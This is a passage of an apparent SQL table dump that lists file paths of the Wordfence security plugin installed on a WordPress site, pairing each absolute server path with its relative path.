(344,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xGIzQXKMnyrYk.woff','wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xGIzQXKMnyrYk.woff'),
(345,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xIIzQXKMny.woff','wp-content/plugins/wordfence/fonts/roboto-KFOkCnqEu92Fr1Mu51xIIzQXKMny.woff'),
(346,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fBBc-AMP6lQ.woff','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fBBc-AMP6lQ.woff'),
(347,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fChc-AMP6lbBP.woff','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fChc-AMP6lbBP.woff'),
(348,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fBBc-AMP6lQ.woff','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fBBc-AMP6lQ.woff'),
(349,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fChc-AMP6lbBP.woff','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmSU5fChc-AMP6lbBP.woff'),
(350,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfBBc-AMP6lQ.woff','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfBBc-AMP6lQ.woff'),
(351,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfChc-AMP6lbBP.woff','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfChc-AMP6lbBP.woff'),
(352,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu4mxMKTU1Kg.woff','wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu4mxMKTU1Kg.woff'),
(353,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu7GxMKTU1Kvnz.woff','wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu7GxMKTU1Kvnz.woff'),
(354,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/2fa-whole.svg','wp-content/plugins/wordfence/images/2fa-whole.svg'),
(355,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/2fa1.svg','wp-content/plugins/wordfence/images/2fa1.svg'),
(356,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/2fa2.svg','wp-content/plugins/wordfence/images/2fa2.svg'),
(357,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/audit-log-preview.png','wp-content/plugins/wordfence/images/audit-log-preview.png'),
(358,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/back_disabled.jpg','wp-content/plugins/wordfence/images/back_disabled.jpg'),
(359,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/back_enabled.jpg','wp-content/plugins/wordfence/images/back_enabled.jpg'),
(360,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/blocking.svg','wp-content/plugins/wordfence/images/blocking.svg'),
(361,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/button-grad-grey.png','wp-content/plugins/wordfence/images/button-grad-grey.png'),
(362,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/checkbox.png','wp-content/plugins/wordfence/images/checkbox.png'),
(363,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/country-map.svg','wp-content/plugins/wordfence/images/country-map.svg'),
(364,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/flags.png','wp-content/plugins/wordfence/images/flags.png'),
(365,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/forward_disabled.jpg','wp-content/plugins/wordfence/images/forward_disabled.jpg'),
(366,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/forward_enabled.jpg','wp-content/plugins/wordfence/images/forward_enabled.jpg'),
(367,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/help.png','wp-content/plugins/wordfence/images/help.png'),
(368,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajax24.gif','wp-content/plugins/wordfence/images/icons/ajax24.gif'),
(369,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajax3.gif','wp-content/plugins/wordfence/images/icons/ajax3.gif'),
(370,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajaxRed16.gif','wp-content/plugins/wordfence/images/icons/ajaxRed16.gif'),
(371,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajaxScan.gif','wp-content/plugins/wordfence/images/icons/ajaxScan.gif'),
(372,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajaxWhite32x32.gif','wp-content/plugins/wordfence/images/icons/ajaxWhite32x32.gif'),
(373,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/arrow_refresh.png','wp-content/plugins/wordfence/images/icons/arrow_refresh.png'),
(374,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/bullet_yellow.png','wp-content/plugins/wordfence/images/icons/bullet_yellow.png'),
(375,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check-care.svg','wp-content/plugins/wordfence/images/icons/check-care.svg'),
(376,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check-premium.svg','wp-content/plugins/wordfence/images/icons/check-premium.svg'),
(377,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check-response.svg','wp-content/plugins/wordfence/images/icons/check-response.svg'),
(378,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check.svg','wp-content/plugins/wordfence/images/icons/check.svg'),
(379,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/email_go.png','wp-content/plugins/wordfence/images/icons/email_go.png'),
(380,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/error128.png','wp-content/plugins/wordfence/images/icons/error128.png'),
(381,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/magnifier.png','wp-content/plugins/wordfence/images/icons/magnifier.png'),
(382,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/tick128.png','wp-content/plugins/wordfence/images/icons/tick128.png'),
(383,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/warning128.png','wp-content/plugins/wordfence/images/icons/warning128.png'),
(384,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/working-indicator.gif','wp-content/plugins/wordfence/images/icons/working-indicator.gif'),
(385,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/lightbox-controls.png','wp-content/plugins/wordfence/images/lightbox-controls.png'),
(386,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/loading.gif','wp-content/plugins/wordfence/images/loading.gif'),
(387,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/loading_background.png','wp-content/plugins/wordfence/images/loading_background.png'),
(388,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/loading_large.gif','wp-content/plugins/wordfence/images/loading_large.gif'),
(389,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logo.png','wp-content/plugins/wordfence/images/logo.png'),
(390,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-care.svg','wp-content/plugins/wordfence/images/logos/shield-care.svg'),
(391,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-free.svg','wp-content/plugins/wordfence/images/logos/shield-free.svg'),
(392,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-premium.svg','wp-content/plugins/wordfence/images/logos/shield-premium.svg'),
(393,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-response.svg','wp-content/plugins/wordfence/images/logos/shield-response.svg'),
(394,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-white.svg','wp-content/plugins/wordfence/images/logos/shield-white.svg'),
(395,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/options.svg','wp-content/plugins/wordfence/images/options.svg'),
(396,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/ratelimiting.svg','wp-content/plugins/wordfence/images/ratelimiting.svg'),
(397,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc.gif','wp-content/plugins/wordfence/images/sort_asc.gif'),
(398,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc.png','wp-content/plugins/wordfence/images/sort_asc.png'),
(399,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc_disabled.gif','wp-content/plugins/wordfence/images/sort_asc_disabled.gif'),
(400,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc_disabled.png','wp-content/plugins/wordfence/images/sort_asc_disabled.png'),
(401,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_both.gif','wp-content/plugins/wordfence/images/sort_both.gif'),
(402,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_both.png','wp-content/plugins/wordfence/images/sort_both.png'),
(403,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc.gif','wp-content/plugins/wordfence/images/sort_desc.gif'),
(404,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc.png','wp-content/plugins/wordfence/images/sort_desc.png'),
(405,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc_disabled.gif','wp-content/plugins/wordfence/images/sort_desc_disabled.gif'),
(406,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc_disabled.png','wp-content/plugins/wordfence/images/sort_desc_disabled.png'),
(407,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/support.svg','wp-content/plugins/wordfence/images/support.svg'),
(408,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/tools.svg','wp-content/plugins/wordfence/images/tools.svg'),
(409,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wf-central-logo.svg','wp-content/plugins/wordfence/images/wf-central-logo.svg'),
(410,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wf-error-badge.svg','wp-content/plugins/wordfence/images/wf-error-badge.svg'),
(411,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wf-horizontal.svg','wp-content/plugins/wordfence/images/wf-horizontal.svg'),
(412,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wordfence-logo.svg','wp-content/plugins/wordfence/images/wordfence-logo.svg'),
(413,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/index.php','wp-content/plugins/wordfence/index.php'),
(414,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/admin.1788880300.js','wp-content/plugins/wordfence/js/admin.1788880300.js'),
(415,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/admin.ajaxWatcher.1788880300.js','wp-content/plugins/wordfence/js/admin.ajaxWatcher.1788880300.js'),
(416,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/chart.umd.1788880300.js','wp-content/plugins/wordfence/js/chart.umd.1788880300.js'),
(417,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/jquery.qrcode.min.1788880300.js','wp-content/plugins/wordfence/js/jquery.qrcode.min.1788880300.js'),
(418,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/vue.esm-browser.prod.1788880300.js','wp-content/plugins/wordfence/js/vue.esm-browser.prod.1788880300.js'),
(419,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfdashboard.1788880300.js','wp-content/plugins/wordfence/js/wfdashboard.1788880300.js'),
(420,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfdropdown.1788880300.js','wp-content/plugins/wordfence/js/wfdropdown.1788880300.js'),
(421,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfglobal.1788880300.js','wp-content/plugins/wordfence/js/wfglobal.1788880300.js'),
(422,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfi18n.1788880300.js','wp-content/plugins/wordfence/js/wfi18n.1788880300.js'),
(423,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfonboarding.1788880300.js','wp-content/plugins/wordfence/js/wfonboarding.1788880300.js'),
(424,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfpopover.1788880300.js','wp-content/plugins/wordfence/js/wfpopover.1788880300.js'),
(425,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wordfence.1788880300.js','wp-content/plugins/wordfence/js/wordfence.1788880300.js'),
(426,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/languages/wordfence.mo','wp-content/plugins/wordfence/languages/wordfence.mo'),
(427,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/languages/wordfence.pot','wp-content/plugins/wordfence/languages/wordfence.pot'),
(428,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/.htaccess','wp-content/plugins/wordfence/lib/.htaccess'),
(429,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff/Renderer/Abstract.php','wp-content/plugins/wordfence/lib/Diff/Renderer/Abstract.php'),
(430,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff/Renderer/Html/Array.php','wp-content/plugins/wordfence/lib/Diff/Renderer/Html/Array.php'),
(431,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff/Renderer/Html/SideBySide.php','wp-content/plugins/wordfence/lib/Diff/Renderer/Html/SideBySide.php'),
(432,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff/SequenceMatcher.php','wp-content/plugins/wordfence/lib/Diff/SequenceMatcher.php'),
(433,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff.php','wp-content/plugins/wordfence/lib/Diff.php'),
(434,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/IPTraf.php','wp-content/plugins/wordfence/lib/IPTraf.php'),
(435,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/WFLSPHP52Compatability.php','wp-content/plugins/wordfence/lib/WFLSPHP52Compatability.php'),
(436,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversPreview.php','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversPreview.php'),
(437,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreContent.php','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreContent.php'),
(438,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreMultisite.php','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreMultisite.php'),
(439,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreSite.php','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreSite.php'),
(440,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreUser.php','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreUser.php'),
(441,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordfence.php','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordfence.php'),
(442,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/compat.php','wp-content/plugins/wordfence/lib/compat.php'),
(443,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_content_countries.php','wp-content/plugins/wordfence/lib/dashboard/widget_content_countries.php'),
(444,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_countries.php','wp-content/plugins/wordfence/lib/dashboard/widget_countries.php'),
(445,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_localattacks.php','wp-content/plugins/wordfence/lib/dashboard/widget_localattacks.php'),
(446,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_networkattacks.php','wp-content/plugins/wordfence/lib/dashboard/widget_networkattacks.php'),
(447,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/diffResult.php','wp-content/plugins/wordfence/lib/diffResult.php'),
(448,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_genericAlert.php','wp-content/plugins/wordfence/lib/email_genericAlert.php'),
(449,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_newIssues.php','wp-content/plugins/wordfence/lib/email_newIssues.php'),
(450,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_unlockRequest.php','wp-content/plugins/wordfence/lib/email_unlockRequest.php'),
(451,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_unsubscribeRequest.php','wp-content/plugins/wordfence/lib/email_unsubscribeRequest.php'),
(452,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/flags.php','wp-content/plugins/wordfence/lib/flags.php'),
(453,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/geoip.mmdb','wp-content/plugins/wordfence/lib/geoip.mmdb'),
(454,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/live_activity.php','wp-content/plugins/wordfence/lib/live_activity.php'),
(455,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_dashboard.php','wp-content/plugins/wordfence/lib/menu_dashboard.php'),
(456,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_dashboard_options.php','wp-content/plugins/wordfence/lib/menu_dashboard_options.php'),
(457,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall.php','wp-content/plugins/wordfence/lib/menu_firewall.php'),
(458,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_blocking.php','wp-content/plugins/wordfence/lib/menu_firewall_blocking.php'),
(459,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_blocking_options.php','wp-content/plugins/wordfence/lib/menu_firewall_blocking_options.php'),
(460,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_waf.php','wp-content/plugins/wordfence/lib/menu_firewall_waf.php'),
(461,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_waf_options.php','wp-content/plugins/wordfence/lib/menu_firewall_waf_options.php'),
(462,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_install.php','wp-content/plugins/wordfence/lib/menu_install.php'),
(463,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_options.php','wp-content/plugins/wordfence/lib/menu_options.php'),
(464,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_scanner.php','wp-content/plugins/wordfence/lib/menu_scanner.php'),
(465,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_scanner_credentials.php','wp-content/plugins/wordfence/lib/menu_scanner_credentials.php'),
(466,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_scanner_options.php','wp-content/plugins/wordfence/lib/menu_scanner_options.php'),
(467,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_support.php','wp-content/plugins/wordfence/lib/menu_support.php'),
(468,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools.php','wp-content/plugins/wordfence/lib/menu_tools.php'),
(469,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_auditlog.php','wp-content/plugins/wordfence/lib/menu_tools_auditlog.php'),
(470,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_diagnostic.php','wp-content/plugins/wordfence/lib/menu_tools_diagnostic.php'),
(471,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_importExport.php','wp-content/plugins/wordfence/lib/menu_tools_importExport.php'),
(472,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_livetraffic.php','wp-content/plugins/wordfence/lib/menu_tools_livetraffic.php'),
(473,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_twoFactor.php','wp-content/plugins/wordfence/lib/menu_tools_twoFactor.php'),
(474,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_whois.php','wp-content/plugins/wordfence/lib/menu_tools_whois.php'),
(475,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_wordfence_central.php','wp-content/plugins/wordfence/lib/menu_wordfence_central.php'),
(476,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/noc1.key','wp-content/plugins/wordfence/lib/noc1.key'),
(477,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTAuthenticationController.php','wp-content/plugins/wordfence/lib/rest-api/wfRESTAuthenticationController.php'),
(478,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTBaseController.php','wp-content/plugins/wordfence/lib/rest-api/wfRESTBaseController.php'),
(479,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTConfigController.php','wp-content/plugins/wordfence/lib/rest-api/wfRESTConfigController.php'),
(480,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTScanController.php','wp-content/plugins/wordfence/lib/rest-api/wfRESTScanController.php'),
(481,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/sodium_compat_fast.php','wp-content/plugins/wordfence/lib/sodium_compat_fast.php'),
(482,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/sysinfo.php','wp-content/plugins/wordfence/lib/sysinfo.php'),
(483,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/viewFullActivityLog.php','wp-content/plugins/wordfence/lib/viewFullActivityLog.php'),
(484,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wf503.php','wp-content/plugins/wordfence/lib/wf503.php'),
(485,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfAPI.php','wp-content/plugins/wordfence/lib/wfAPI.php'),
(486,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfActivityReport.php','wp-content/plugins/wordfence/lib/wfActivityReport.php'),
(487,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfAdminNoticeQueue.php','wp-content/plugins/wordfence/lib/wfAdminNoticeQueue.php'),
(488,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfAlerts.php','wp-content/plugins/wordfence/lib/wfAlerts.php'),
(489,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfAuditLog.php','wp-content/plugins/wordfence/lib/wfAuditLog.php'),
(490,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBinaryList.php','wp-content/plugins/wordfence/lib/wfBinaryList.php'),
(491,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBrowscap.php','wp-content/plugins/wordfence/lib/wfBrowscap.php'),
(492,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBrowscapCache.php','wp-content/plugins/wordfence/lib/wfBrowscapCache.php'),
(493,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBulkCountries.php','wp-content/plugins/wordfence/lib/wfBulkCountries.php'),
(494,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCache.php','wp-content/plugins/wordfence/lib/wfCache.php'),
(495,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCentralAPI.php','wp-content/plugins/wordfence/lib/wfCentralAPI.php'),
(496,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCommonPasswords.php','wp-content/plugins/wordfence/lib/wfCommonPasswords.php'),
(497,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfConfig.php','wp-content/plugins/wordfence/lib/wfConfig.php'),
(498,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCrawl.php','wp-content/plugins/wordfence/lib/wfCrawl.php'),
(499,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCredentialsController.php','wp-content/plugins/wordfence/lib/wfCredentialsController.php'),
(500,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCrypt.php','wp-content/plugins/wordfence/lib/wfCrypt.php'),
(501,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCurlInterceptor.php','wp-content/plugins/wordfence/lib/wfCurlInterceptor.php'),
(502,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDB.php','wp-content/plugins/wordfence/lib/wfDB.php'),
(503,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDashboard.php','wp-content/plugins/wordfence/lib/wfDashboard.php'),
(504,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDateLocalization.php','wp-content/plugins/wordfence/lib/wfDateLocalization.php'),
(505,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDeactivationOption.php','wp-content/plugins/wordfence/lib/wfDeactivationOption.php'),
(506,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDiagnostic.php','wp-content/plugins/wordfence/lib/wfDiagnostic.php'),
(507,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDirectoryIterator.php','wp-content/plugins/wordfence/lib/wfDirectoryIterator.php'),
(508,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfFileUtils.php','wp-content/plugins/wordfence/lib/wfFileUtils.php'),
(509,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfHelperBin.php','wp-content/plugins/wordfence/lib/wfHelperBin.php'),
(510,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfHelperString.php','wp-content/plugins/wordfence/lib/wfHelperString.php'),
(511,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfI18n.php','wp-content/plugins/wordfence/lib/wfI18n.php'),
(512,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIPWhitelist.php','wp-content/plugins/wordfence/lib/wfIPWhitelist.php'),
(513,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfImportExportController.php','wp-content/plugins/wordfence/lib/wfImportExportController.php'),
(514,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfInaccessibleDirectoryException.php','wp-content/plugins/wordfence/lib/wfInaccessibleDirectoryException.php'),
(515,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfInvalidPathException.php','wp-content/plugins/wordfence/lib/wfInvalidPathException.php'),
(516,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIpLocation.php','wp-content/plugins/wordfence/lib/wfIpLocation.php'),
(517,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIpLocator.php','wp-content/plugins/wordfence/lib/wfIpLocator.php'),
(518,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIssues.php','wp-content/plugins/wordfence/lib/wfIssues.php'),
(519,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfJWT.php','wp-content/plugins/wordfence/lib/wfJWT.php'),
(520,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfJavascriptBridge.php','wp-content/plugins/wordfence/lib/wfJavascriptBridge.php'),
(521,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfLicense.php','wp-content/plugins/wordfence/lib/wfLicense.php'),
(522,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfLockedOut.php','wp-content/plugins/wordfence/lib/wfLockedOut.php'),
(523,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfLog.php','wp-content/plugins/wordfence/lib/wfLog.php'),
(524,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfMD5BloomFilter.php','wp-content/plugins/wordfence/lib/wfMD5BloomFilter.php'),
(525,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfModuleController.php','wp-content/plugins/wordfence/lib/wfModuleController.php'),
(526,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfNotification.php','wp-content/plugins/wordfence/lib/wfNotification.php'),
